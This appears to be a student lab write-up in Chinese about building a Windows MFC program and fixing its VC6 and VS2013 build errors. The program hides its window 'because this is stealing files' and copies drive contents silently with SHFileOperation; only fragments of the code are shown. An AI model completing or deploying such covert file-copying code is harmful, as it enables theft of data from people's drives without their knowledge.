实验一
unresolved external symbol __endthreadex
错误解决,是因为没有引用MFC类库,解决方案如下:选择Project-Settings--General--Microsoft foundation Classes-
libcmtd.lib(crt0.obj) : error LNK2001: unresolved external symbol _main
Debug/Hello.exe : fatal error LNK1120: 1 unresolved externals
解决方案如下:[Project] --> [Settings] --> 选择"Link"属性页,在Project Options中将/subsystem:console改成/subsystem:windows
showWindow(HWND hWnd, int nCmdShow)
函数,第二个参数可以是SH_HIDE
和SH_SHOW
,这里因为是盗取文件所以应该SH_HIDE
即隐藏对话框-
在vs++6.0中,按
crtl+B
弹出断点对话框,点击removeall
SHFileOperation()
函数的方法,该方法返回0值正确,代码如下:
//取得复制到的目录名称,由于`\` 转义字符的原因,格式要求:\\
SourcePath.Replace(_T("\\"),_T("\\\\"));
SourcePath.GetBufferSetLength (strlen(SourcePath)+2);
SourcePath.SetAt(strlen(SourcePath)+1,'\0');//文件路劲需要以'\0结尾',setAT指在制定位置插入一个字符
CString DirName = GetDirectoryName() +p_driver.Left(1);
p_start=DirName ;
//创建目录
CreateDirectory(DestinationPath + '\\' + DirName , NULL);
SHFILEOPSTRUCT FileOP; //声明文件操作结构体
memset((void *)&FileOP,0,sizeof(FileOP));
FileOP.hwnd = hwnd; //句柄
FileOP.fFlags = FOF_SILENT ; //操作标志位,这里表示不显示进度条
FileOP.wFunc = FO_COPY; //操作方式,表示复制操作,还可以进行删除等操作
FileOP.pFrom = SourcePath; //源地址,这里的原地址必须符合一定的格式,不然会有各种错误码返回
CString str = DestinationPath + DirName; //目的地址
//执行复制操作
str.GetBufferSetLength (strlen(str)+2);
str.SetAt(strlen(str)+1,0);
FileOP.pTo = str;
FileOP.fAnyOperationsAborted = false; //是否允许中断操作
FileOP.hNameMappings = NULL;
FileOP.lpszProgressTitle = NULL;
SourcePath.ReleaseBuffer();
str.ReleaseBuffer();
int MSG = SHFileOperation(&FileOP); //执行复制操作
return (MSG==0);

可惜的是以上都是在vc6下的编译环境,因为实验室突然升级成vs2013了,然后我就爆炸了,下面写写调试vs2013的环境的心路历程.
- 可能会遇到mfc库的错,如下:
解决方案如下:
即在项目属性页-》常规-》项目默认值中选择共享DLL中使用MFC
- 在vs 2013下是Unicode类型,需要很多的转换函数比如CString->char*,使用下面的函数
char* csToChar(CString str)
{
char *ptr;
#ifdef _UNICODE
LONG len;
len = WideCharToMultiByte(CP_ACP, 0, str, -1, NULL, 0, NULL, NULL);
ptr = new char[len + 1];
memset(ptr, 0, len + 1);
WideCharToMultiByte(CP_ACP, 0, str, -1, ptr, len + 1, NULL, NULL);
#else
ptr = new char[str.GetAllocLength() + 1];
sprintf(ptr, _T("%s"), str);
#endif
return ptr;
}
还有什么wndcls.lpszClassName
需要的是wchar_t*
类型的指针,需要在字符串前加个L,如下
wchar_t* name = L"Lijiayang";
- 对了还有一个需要注意
afxmt.h
与stdafx.h
中有一个包即'window.h'重复了,错误如下:
解决方案如下注释掉stdafx.h中window.h:
- 可能还会遇到一个错,是关于安全问题的。如下
解决方案:
项目 =》属性 =》c/c++ =》预处理器=》点击预处理器定义,编辑,加入_CRT_SECURE_NO_WARNINGS,即可。
- vs2013下的目录结构如下:
源代码如下
#include "stdafx.h"
#include "Win32Project3.h"
#include "afxmt.h"
#include "Afxwin.h"
//#include <afx.h>
#include <dbt.h>
